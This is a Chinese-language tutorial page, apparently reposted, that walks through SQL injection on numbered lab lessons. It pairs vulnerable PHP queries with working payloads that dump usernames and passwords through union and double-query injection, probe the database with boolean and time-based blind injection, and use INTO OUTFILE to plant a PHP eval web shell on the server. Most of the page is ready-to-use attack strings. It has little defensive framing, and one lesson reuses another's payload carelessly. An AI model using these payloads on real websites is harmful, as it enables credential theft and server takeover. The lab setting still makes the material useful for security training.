SQL注入之GET型常规注入

来源:互联网 发布:abb机器人编程培训 编辑:程序博客网 时间:2024/06/06 05:47

less1单引号字符串注入

源码:$sql="select * from users where id='$id' limit 0,1";

$result=mysql_query($sql);

$row=mysql_fetch_array($result);

注入:?id=1' or '1'='1  或者?id=1' or 1=1--%20

构建sql语句:?id=1' union select 1,2,concat_ws(char(32,58,32),user(),version(),database()) %23

?id=1' union select 1,2,table_name from information_schema.tables where table_schema=0x736563757269479 %23  //使用十六进制可以不用单引号

?id=1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))  from users--+  //使用group_concat函数返回所有结果

less2数字型注入

源码:$sql="select * from users where id=$id limit 0,1";

注入:?id=-1 union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

less3单引号变形字符型注入

源码:$sql="select * from users where id=('$id') limit 0,1";

注入:?id=-1') union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

less4双引号字符型注入

源码:$id='"'.$id.'"';

$sql="select * from users where id=($id) limit 0,1";

注入:?id=-1") union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

less5双注入单引号字符型注入

源码:$sql="select * from users where id='$id' limit 0,1";

注入:?id=-1') union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

双查询注入:两个嵌套的查询,即select..(select)..,先执行子查询,再执行外面的select。双注入涉及的几个sql函数:

随机函数rand(),返回0-1之间的值

取整函数floor(),返回小于等于对象的值

聚合函数count(),也称计数函数,返回查询对象的总数

分组语句group by cluase, 按照cluase对查询结果分组

注入:

获取数据库:?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.schemata group by a--+

获取表名:?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2)) as a from information_schema.tables group by a--+

查询信息:?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2) as a from information_schema.tables group by a--+

less6双注入双引号字符型注入

同上

less7导出文件字符型注入

源码:$sql="select * from users where id=(('$id')) limit 0,1";

outfile的固定结果:select A into outfile B, B通常是文件路径,A可以是数据库信息, 也可以是一句话木马内容

第一种,构造select * from users into outfile "数据库导入导出数据的目录"

注入:?id=1')) and (select count(*) from mysql.users)>0   //判断是否有最高权限

?id=1')) union select * from users into outfile "c:\\data.txt"--+

第二种,将一句话木马写人到文件,用菜刀拿下网站:

注入:?id=1')) union select 1,@@basedir,@@datadir--+  //@@basedir获取数据库路径,@@datadir获取安装路径

?id=1')) union select 1,'2','<?php @eval($_POST["cmd"]);?>' into outfile 'c:/AppServ/www/data.txt' %23

less8布尔型单引号盲注(输入合法时会返回“you are in...”,非法输入时没有任何返回)

源码:$sql="select * from users where id='$id' limit 0,1";

$result=mysql_query($sql);

$row=mysql_fetch_array($result);

盲注主要分为bool型和时间型,设计的函数有:

length(str):返回字符串长度  substr(str,pos,len)和mid(str,pos,len)  ascii(str):返回字符串最左边的ascii码 

left(str,len)和right(str,len)  if(a,b,c):条件判断,如果a为true,返回b,否则返回c

盲注固定式:and ascii(substr(A,1,1))>B和and if(ascii(substr(A,1,1))>B,1,0)

less9基于时间的单引号盲注(合法输入与非合法输入都返回“you are in..”)

注入:?id=1' and if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

less10基于时间的双引号盲注

注入:?id=1" and if(ascii(substr(database(),1,1))>115,0,sleep(5))%23


原创粉丝点击